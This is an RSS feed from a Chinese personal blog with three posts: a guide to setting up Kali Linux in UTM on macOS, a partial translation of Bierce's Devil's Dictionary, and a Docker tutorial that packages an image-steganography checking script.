<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>今朝酒</title><description>Blog</description><link>https://kesazake.top/</link><templateTheme>Firefly</templateTheme><templateThemeVersion>6.7.6</templateThemeVersion><templateThemeUrl>https://github.com/CuteLeaf/Firefly</templateThemeUrl><lastBuildDate>2026年4月17日 01:02:06</lastBuildDate><item><title>关于 Kali Linux</title><link>https://kesazake.top/posts/ctf/web/%E5%85%B3%E4%BA%8Ekalilinux/</link><guid isPermaLink="true">https://kesazake.top/posts/ctf/web/%E5%85%B3%E4%BA%8Ekalilinux/</guid><description>Kali Linux到底怎么用啊……</description><pubDate>Fri, 10 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;安装&lt;a href=&quot;#安装&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;因为我使用的系统是 MacOS ，所以选择的是 UTM + Kali Linux 的方案。&lt;br /&gt;
访问 &lt;a href=&quot;https://mac.getutm.app/&quot; target=&quot;_blank&quot;&gt;UTM官网&lt;/a&gt; 获取UTM。&lt;br /&gt;
访问 &lt;a href=&quot;https://www.kali.org/get-kali/&quot; target=&quot;_blank&quot;&gt;Kali Linux官网&lt;/a&gt; 获取 Apple Silicon (ARM64) 镜像。&lt;/p&gt;&lt;p&gt;启动 UTM 配置一个新的虚拟机。&lt;br /&gt;
加载镜像之后，启动虚拟机之前，需要在虚拟机“编辑”页面的“设备”列表中创建一个串行设备，这样才能正常显示安装界面。&lt;br /&gt;
启动虚拟机，按照 Kali 的指引完成安装。&lt;br /&gt;
安装完成之后，在终端输入以下命令可以解决剪贴板共享和窗口自适应的问题：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;apt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;update&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;apt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;spice-vdagent&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-y&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;重启虚拟机。&lt;br /&gt;
现在，在 mac 上使用 command + c/v，在 kali 上使用 control + shift + c/v 可以正常的复制粘贴。&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;挂载&lt;a href=&quot;#挂载&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;在 UTM 启动界面，右键虚拟机，在 “共享” 页面，共享目录模式选择 “VirtFS” 。&lt;br /&gt;
创建一个文件夹作为共享文件夹，命名为 “share” ，添加到 “共享” 的路径。&lt;br /&gt;
进入 kali 终端，输入 &lt;code&gt;sudo mkdir -p /mnt/share&lt;/code&gt; ，这会创建一个挂载点。注意，挂载点的名字必须和 UTM 中添加的共享文件夹的名字相同。&lt;br /&gt;
输入 &lt;code&gt;sudo mount -t 9p -o trans=virtio,version=9p2000.L share /mnt/share&lt;/code&gt; ，这会把 mac 的共享文件夹挂载到 kali 的挂载点，然后我们就能在 kali 访问 mac 的文件。&lt;br /&gt;
输入&lt;code&gt;ln -s /mnt/share ~/Desktop/share&lt;/code&gt; ，这会在桌面创建一个快捷方式，指向我们刚刚创建的挂载点。&lt;/p&gt;&lt;p&gt;关闭虚拟机的时候， kali 会自动卸载，挂载点会变成一个普通空目录。&lt;br /&gt;
可以通过配置 /etc/fstab 实现开机自动挂载。&lt;br /&gt;
终端输入 &lt;code&gt;echo &quot;share /mnt/share 9p trans=virtio,version=9p2000.L,defaults 0 0&quot; | sudo tee -a /etc/fstab&lt;/code&gt; ，会在 fstab 文件末尾追加 &lt;code&gt;share /mnt/share 9p trans=virtio,version=9p2000.L,defaults 0 0&lt;/code&gt;&lt;br /&gt;
现在虚拟机启动的时候会自动挂载了。&lt;/p&gt;&lt;/section&gt;</content:encoded></item><item><title>魔鬼词典</title><link>https://kesazake.top/posts/%E6%91%98%E5%BD%95/%E9%AD%94%E9%AC%BC%E8%AF%8D%E5%85%B8/</link><guid isPermaLink="true">https://kesazake.top/posts/%E6%91%98%E5%BD%95/%E9%AD%94%E9%AC%BC%E8%AF%8D%E5%85%B8/</guid><description>愤世嫉俗者词典</description><pubDate>Wed, 08 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;前言&lt;a href=&quot;#前言&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;《魔鬼词典》（The Devil‘s Dictionary）是安布罗斯·比尔斯（Ambrose Bierce）最著名的作品，最初以专栏形式连载于周报，后结集出版。&lt;br /&gt;
比尔斯是美国十九世纪末二十世纪初的记者、讽刺作家，以刻薄的文风和黑色幽默著称。&lt;br /&gt;
在这部词典中，他用与众不同的角度重新审视了那些习以为常的词汇。&lt;/p&gt;&lt;p&gt;词典英文原文已进入公共领域，出于个人兴趣，进行收录与翻译。&lt;br /&gt;
原文来源于 &lt;a href=&quot;https://www.gutenberg.org/ebooks/972&quot; target=&quot;_blank&quot;&gt;Project Gutenberg&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;A&lt;a href=&quot;#a&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;blockquote&gt;&lt;p&gt;ABASEMENT, n.&lt;br /&gt;
A decent and customary mental attitude in the presence of wealth or power.&lt;br /&gt;
Peculiarly appropriate in an employee when addressing an employer.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;卑躬屈膝，名词&lt;br /&gt;
人们面对财富或是权势时的一种体面的、惯常的心理态度。&lt;br /&gt;
特别适用于雇员对雇主说话时。&lt;/p&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;p&gt;ABATIS, n.&lt;br /&gt;
Rubbish in front of a fort, to prevent the rubbish outside from molesting the rubbish inside.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;鹿砦，名词&lt;br /&gt;
堆积在堡垒前方的垃圾堆。&lt;br /&gt;
作用是防止堡垒外面的垃圾骚扰堡垒里面的垃圾。&lt;/p&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;p&gt;ABDICATION, n.
An act whereby a sovereign attests his sense of the high temperature of the throne.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Poor Isabella’s dead, whose abdication&lt;br /&gt;
Set all tongues wagging in the Spanish nation.&lt;br /&gt;
For that performance ‘twere unfair to scold her:&lt;br /&gt;
She wisely left a throne too hot to hold her.&lt;br /&gt;
To History she’ll be no royal riddle—&lt;br /&gt;
Merely a plain parched pea that jumped the griddle.&lt;/p&gt;&lt;p&gt;—— G.J.&lt;/p&gt;&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;p&gt;退位，名词&lt;br /&gt;
君王宣称自己感受到了王座的高温，自愿把屁股从王座上挪开。&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;可怜的伊莎贝拉已死，她的退位&lt;br /&gt;
引起西班牙举国的纷纷议论&lt;br /&gt;
责怪她的表演并不公允&lt;br /&gt;
她明智地跳出了滚烫的王座&lt;br /&gt;
她没有成为历史上的神秘&lt;br /&gt;
而只是一个跳出了烤盘的豆子&lt;/p&gt;&lt;p&gt;—— G.J.&lt;/p&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;p&gt;ABDOMEN, n.&lt;br /&gt;
The temple of the god Stomach, in whose worship, with sacrificial rights, all true men engage.&lt;br /&gt;
From women this ancient faith commands but a stammering assent.&lt;br /&gt;
They sometimes minister at the altar in a half-hearted and ineffective way, but true reverence for the one deity that men really adore they know not.&lt;br /&gt;
If woman had a free hand in the world’s marketing the race would become graminivorous.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;腹部，名词&lt;br /&gt;
胃神的神殿，所有真正的男人都参与对于胃神的崇拜，并且拥有祭祀的特权。&lt;br /&gt;
而女人们只是敷衍地默许这古老的信仰。&lt;br /&gt;
她们有时也会在祭坛前心不在焉地献祭，却并不尊重这位男人们崇拜的唯一神祇。&lt;br /&gt;
如果女人们可以自由地交易，那么人类将会以草为食。&lt;/p&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;p&gt;ABILITY, n.&lt;br /&gt;
The natural equipment to accomplish some small part of the meaner ambitions distinguishing able men from dead ones.&lt;br /&gt;
In the last analysis ability is commonly found to consist mainly in a high degree of solemnity.&lt;br /&gt;
Perhaps, however, this impressive quality is rightly appraised; it is no easy task to be solemn.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;能力，名词&lt;br /&gt;
一种天生的装备，完成一些卑微野心的必需条件的微小部分，是区分能人与死人的关键。&lt;br /&gt;
归根结底，人们通常发现能力主要体现在高度的一本正经上。&lt;br /&gt;
不过，或许这种特质确实值得称赞，毕竟时刻保持严肃并非易事。&lt;/p&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;p&gt;ABNORMAL, adj.&lt;br /&gt;
Not conforming to standard.&lt;br /&gt;
In matters of thought and conduct, to be independent is to be abnormal, to be abnormal is to be detested.&lt;br /&gt;
Wherefore the lexicographer adviseth a striving toward the straiter resemblance of the Average Man than he hath to himself.&lt;br /&gt;
Whoso attaineth thereto shall have peace, the prospect of death and the hope of Hell.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;反常的，形容词&lt;br /&gt;
不符合标准的。&lt;br /&gt;
在思想行为方面，保持独立就是反常的，反常的就是令人厌恶的。&lt;br /&gt;
因此，本词典的编纂者建议人们应该努力让自己像是普通人，甚至比起像自己，更像是一个普通人。&lt;br /&gt;
做到了这一点，就能获得安宁，死亡的前景，对地狱的希望。&lt;/p&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;p&gt;ABORIGINIES, n.&lt;br /&gt;
Persons of little worth found cumbering the soil of a newly discovered country.&lt;br /&gt;
They soon cease to cumber; they fertilize.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;原住民，名词&lt;br /&gt;
一些毫无价值的人，拖累着一个崭新的国家的土地。&lt;br /&gt;
他们不会继续拖累。&lt;br /&gt;
他们化作了肥料。&lt;/p&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;p&gt;ABRACADABRA.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;By Abracadabra we signify&lt;br /&gt;
An infinite number of things.&lt;br /&gt;
‘Tis the answer to What? and How? and Why?&lt;br /&gt;
And Whence? and Whither?—a word whereby&lt;br /&gt;
The Truth (with the comfort it brings)&lt;br /&gt;
Is open to all who grope in night,&lt;br /&gt;
Crying for Wisdom’s holy light.&lt;/p&gt;&lt;p&gt;Whether the word is a verb or a noun&lt;br /&gt;
Is knowledge beyond my reach.&lt;br /&gt;
I only know that ‘tis handed down.&lt;br /&gt;
From sage to sage,&lt;br /&gt;
From age to age—&lt;br /&gt;
An immortal part of speech!&lt;/p&gt;&lt;p&gt;Of an ancient man the tale is told&lt;br /&gt;
That he lived to be ten centuries old,&lt;br /&gt;
In a cave on a mountain side.&lt;br /&gt;
(True, he finally died.)&lt;br /&gt;
The fame of his wisdom filled the land,&lt;br /&gt;
For his head was bald, and you’ll understand&lt;br /&gt;
His beard was long and white&lt;br /&gt;
And his eyes uncommonly bright.&lt;/p&gt;&lt;p&gt;Philosophers gathered from far and near&lt;br /&gt;
To sit at his feet and hear and hear,&lt;br /&gt;
Though he never was heard&lt;br /&gt;
To utter a word&lt;br /&gt;
But “Abracadabra, abracadab,&lt;br /&gt;
Abracada, abracad,&lt;br /&gt;
Abraca, abrac, abra, ab!”&lt;br /&gt;
’Twas all he had,&lt;br /&gt;
‘Twas all they wanted to hear, and each&lt;br /&gt;
Made copious notes of the mystical speech,&lt;br /&gt;
Which they published next—&lt;br /&gt;
A trickle of text&lt;br /&gt;
In a meadow of commentary.&lt;br /&gt;
Mighty big books were these,&lt;br /&gt;
In number, as leaves of trees;&lt;br /&gt;
In learning, remarkable—very!&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;He&apos;s dead,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;As I said,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;And the books of the sages have perished,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;But his wisdom is sacredly cherished.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;In Abracadabra it solemnly rings,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Like an ancient bell that forever swings.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;O, I love to hear&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;That word make clear&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Humanity&apos;s General Sense of Things.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;—— Jamrach Holobom&lt;/p&gt;&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;p&gt;阿布拉卡达布拉&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;我们用 阿布拉卡达布拉 来表示&lt;br /&gt;
无尽的事物&lt;br /&gt;
它是 “是什么” “怎么做” 和 “为什么” 的解答&lt;br /&gt;
它表示 从何处来， 往何处去&lt;br /&gt;
它是真理（及其带来的慰藉）&lt;br /&gt;
向所有在夜里摸索的人开放&lt;br /&gt;
向所有呼求智慧圣光的人开放&lt;/p&gt;&lt;p&gt;这是个动词还是名词&lt;br /&gt;
我无从知晓
我只知道它代代相传
从智者到智者
从古至今——
一个不朽的词汇！&lt;/p&gt;&lt;p&gt;传说一位古老的人
活了十个世纪
住在山腰的一个洞穴之中
（是的，最后他还是死了）
他的智慧名扬四海
因为他头顶光秃——你应该明白
他的胡须又长又白
他的眼睛明明亮亮&lt;/p&gt;&lt;p&gt;哲人们从四面八方聚集而来
围坐在他身旁聆听
尽管从未有人听他说过
任何其他的词汇
但是，“阿布拉卡达布拉，阿布拉卡达布”
“阿布拉卡达，阿布拉卡达，”
“阿布拉卡，阿布拉，阿布拉，阿巴！”
这就是他所说的全部
这就是他们想听的全部，并且每个人
都详细地记录了那神秘的话语
然后他们发表的是——
娟娟细流般的文字
淹没在评论的草甸中&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;</content:encoded></item><item><title>学习Docker的使用</title><link>https://kesazake.top/posts/ctf/web/%E5%AD%A6%E4%B9%A0docker%E7%9A%84%E4%BD%BF%E7%94%A8/</link><guid isPermaLink="true">https://kesazake.top/posts/ctf/web/%E5%AD%A6%E4%B9%A0docker%E7%9A%84%E4%BD%BF%E7%94%A8/</guid><description>Docker到底是什么……</description><pubDate>Tue, 07 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;安装Docker Desktop&lt;a href=&quot;#安装docker-desktop&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;访问 &lt;a href=&quot;https://www.docker.com/&quot; target=&quot;_blank&quot;&gt;Docker官网&lt;/a&gt; 下载 Docker Desktop ，不需要复杂的配置即可搭建 docker 环境。&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;尝试打包&lt;a href=&quot;#尝试打包&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;我准备了一个python编写的图片隐写检查脚本，尝试 Docker 打包这个服务。&lt;/p&gt;&lt;section&gt;&lt;h3&gt;编写 requirements.txt&lt;a href=&quot;#编写-requirementstxt&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;code&gt;requirements.txt&lt;/code&gt; 是 Python 项目的依赖清单文件，告诉 pip 需要安装哪些第三方库。&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Pillow&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;编写 Dockerfile&lt;a href=&quot;#编写-dockerfile&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;code&gt;Dockerfile&lt;/code&gt; Docker 镜像的构建说明书，告诉 Docker 打包服务。&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# 基础镜像：一个精简版 Linux + Python 3.11&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;FROM python:3.11-slim&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# 安装系统工具（脚本依赖的命令：file、exiftool、pngcheck、zsteg 等）&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;RUN apt-get update &amp;amp;&amp;amp; apt-get install -y \&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;file \&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;exiftool \&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pngcheck \&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;binwalk \&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;binutils \&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ruby \&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ruby-dev \&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;build-essential \&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;amp;&amp;amp; gem install zsteg \&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;amp;&amp;amp; apt-get remove -y ruby-dev build-essential \&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;amp;&amp;amp; apt-get autoremove -y \&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;amp;&amp;amp; rm -rf /var/lib/apt/lists/*&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# 在容器中创建工作目录&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;WORKDIR /app&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# 复制依赖清单并安装 Python 包&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;COPY requirements.txt .&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;RUN pip install --no-cache-dir -r requirements.txt&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# 复制脚本文件&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;COPY main.py .&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# 容器启动时执行的命令&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;CMD [&quot;python&quot;, &quot;main.py&quot;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;显示更多&lt;/span&gt;&lt;span&gt;显示更少&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;




























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;指令&lt;/th&gt;&lt;th&gt;作用&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;FROM&lt;/code&gt;&lt;/td&gt;&lt;td&gt;指定基础镜像&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;RUN&lt;/code&gt;&lt;/td&gt;&lt;td&gt;在构建过程中执行命令&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;WORKDIR&lt;/code&gt;&lt;/td&gt;&lt;td&gt;设置容器内的工作目录&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;COPY&lt;/code&gt;&lt;/td&gt;&lt;td&gt;将本地文件复制到镜像中&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;CMD&lt;/code&gt;&lt;/td&gt;&lt;td&gt;容器启动时默认执行的命令&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;code&gt;FROM&lt;/code&gt; 指定了一个模版作为 docker 构建容器的基础环境。&lt;br /&gt;
&lt;code&gt;RUN apt-get update&lt;/code&gt; 可以理解为 &lt;code&gt;sudo apt update&lt;/code&gt; ，&lt;code&gt;RUN&lt;/code&gt; 在构建阶段逐个执行，配置环境需要的依赖或组件。&lt;br /&gt;
&lt;code&gt;WORKDIR&lt;/code&gt; 为容器设置了一个工作目录。&lt;br /&gt;
&lt;code&gt;COPY&lt;/code&gt; 告诉 docker 在构建的时候要把什么文件复制到容器中。&lt;br /&gt;
&lt;code&gt;CMD&lt;/code&gt; 是容器启动时的默认命令，如果有多个 &lt;code&gt;CMD&lt;/code&gt; ，一般只会执行最后一个。&lt;br /&gt;
如果在启动容器的时候，&lt;code&gt;docker run&lt;/code&gt; 后面指定了其他命令，则会覆盖设置的命令。&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;构建镜像&lt;a href=&quot;#构建镜像&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;准备好 &lt;code&gt;Dockerfile&lt;/code&gt; 之后就可以构建镜像了。&lt;br /&gt;
在终端输入 &lt;code&gt;docker build -t img-check .&lt;/code&gt; 即可。&lt;br /&gt;
&lt;code&gt;docker build&lt;/code&gt; 是构建命令。&lt;br /&gt;
